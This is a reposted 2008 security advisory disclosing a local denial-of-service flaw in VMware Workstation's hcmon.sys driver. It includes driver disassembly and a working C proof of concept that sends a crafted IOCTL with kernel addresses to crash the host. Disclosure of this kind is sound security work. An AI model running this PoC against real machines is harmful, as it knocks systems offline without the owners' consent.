首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability
来源:g_ # orange-bat # com 作者:g_ 发布时间:2008-08-19  
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - Orange Bat advisory -

Name             : VMWare Workstation (hcmon.sys 6.0.0.45731)
Class            : DoS
Published       : 2008-08-17
Credit        : g_ (g_ # orange-bat # com)

- - Details -

Fails to sanitize pointers sent from usermode with METHOD_NEITHER.

hcmon.sys:

.text:00011606 loc_11606:                             .text:00011606                 mov     eax, [ebp+SystemBuffer]
.text:00011609                 mov     [ebp+SystemBuffer2], eax
.text:0001160C                 mov     ecx, [ebp+SystemBuffer2]
.text:0001160F                 mov     edx, [ecx+0Ch]       <---- BUGCHECK
.text:00011612                 cmp     edx, [ebp+var_20]
.text:00011615                 jnz     short loc_11629
.text:00011617                 cmp     [ebp+NumberOfBytes], 70h
.text:0001161B                 jb      short loc_11629
.text:0001161D                 mov     eax, [ebp+SystemBuffer2]
.text:00011620                 cmp     dword ptr [eax+8], 7FFBh
.text:00011627                 jbe     short loc_11638

This code can be reached by sending 0x8101232B IOCTL to \\.\hcmon
device.

- - Proof of concept -

#include <windows.h>
#include <stdio.h>
#include <ddk/ntifs.h>


void TextError(LPTSTR lpszFunction)
{
   // Retrieve the system error message for the last-error code

   LPVOID lpMsgBuf;
   LPVOID lpDisplayBuf;
   DWORD dw = GetLastError();

   FormatMessage(
       FORMAT_MESSAGE_ALLOCATE_BUFFER |
       FORMAT_MESSAGE_FROM_SYSTEM |
       FORMAT_MESSAGE_IGNORE_INSERTS,
       NULL,
       dw,
       MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
       (LPTSTR) &lpMsgBuf,
       0, NULL );

   // Display the error message and exit the process

   lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
       (lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40) \
       *sizeof(TCHAR));
   sprintf((LPTSTR)lpDisplayBuf,
       TEXT("%s failed with error %d: %s"),
       lpszFunction, dw, lpMsgBuf);
   //MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);

   printf(lpDisplayBuf);

   LocalFree(lpMsgBuf);
   LocalFree(lpDisplayBuf);
}


BOOL TestIOCTL(PCHAR DeviceName, DWORD Ioctl, DWORD InputBuffer, \
        DWORD InputLen, DWORD OutputBuffer, DWORD OutputLen )
{
HANDLE hDevice;               // handle to the drive to be examined
BOOL bResult;                 // results flag
DWORD junk;                   // discard results
IO_STATUS_BLOCK  IoStatusBlock;

hDevice = CreateFile(DeviceName,
                   0,                // no access to the drive
                   FILE_SHARE_READ | // share mode
                   FILE_SHARE_WRITE,
                   NULL,             // default security attributes
                   OPEN_EXISTING,    // disposition
                   0,                // file attributes
                   NULL);            // do not copy file attributes

if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
{
    TextError("CreateFile");
   return (FALSE);
}


bResult = DeviceIoControl(hDevice,  // device to be queried
                             Ioctl,
                           (PVOID)InputBuffer,
                           InputLen,
                           (PVOID)OutputBuffer,
                           OutputLen,     // output buffer
                           &junk,                 // # bytes returned
                           (LPOVERLAPPED)NULL);  // synchronous I/O


if(!bResult){
      TextError("DeviceIoControl");
}

CloseHandle(hDevice);

return TRUE;
}

int main(int argc, char *argv[])
{
    DWORD Ioctl, Input, ILen, Output, OLen;
    DWORD SSDT;
    char *ptr;

    if(TestIOCTL("\\\\.\\hcmon", 0x8101232B, 0x80000001, 0, 0x80000002, 0)){
        printf("You should not see this");
    }
    else{
        printf("Failed to open device");
    }


     return 0;
}


- - PGP -

All advisories from Orange Bat are signed. You can find our public
key here: http://www.orange-bat.com/g_.asc

- - Disclaimer -

This document and all the information it contains is provided "as is",
without any warranty. Orange Bat is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

(c) 2008 www.orange-bat.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32) - GPGshell v3.70

iEYEARECAAYFAkioiW4ACgkQIUHRVUfOLgUQEQCdE1YYpJAUypShf5oStwMfbRRC
BPMAniLYABIgCgxkZVSQAQawV060P4M8
=cp6A
-----END PGP SIGNATURE-----

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WS_FTP Home/Professional FTP C
·FlashGet 1.9.0.1012 (FTP PWD R
·EO Video 1.36 Local Heap Overf
·ESET Smart Security 3.0.667.0
·Anzio Web Print Object <= 3.2.
·Pars4U Videosharing V1 XSS / R
·webEdition CMS (we_objectID) B
·Microsoft Visual Studio (Msmas
·NoName Script <= 1.1 Multiple
·>FlashGet 1.9 (FTP PWD Respons
·Dana IRC 1.4a Remote Buffer Ov
·IntelliTamper 2.07/2.08 Beta 4
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved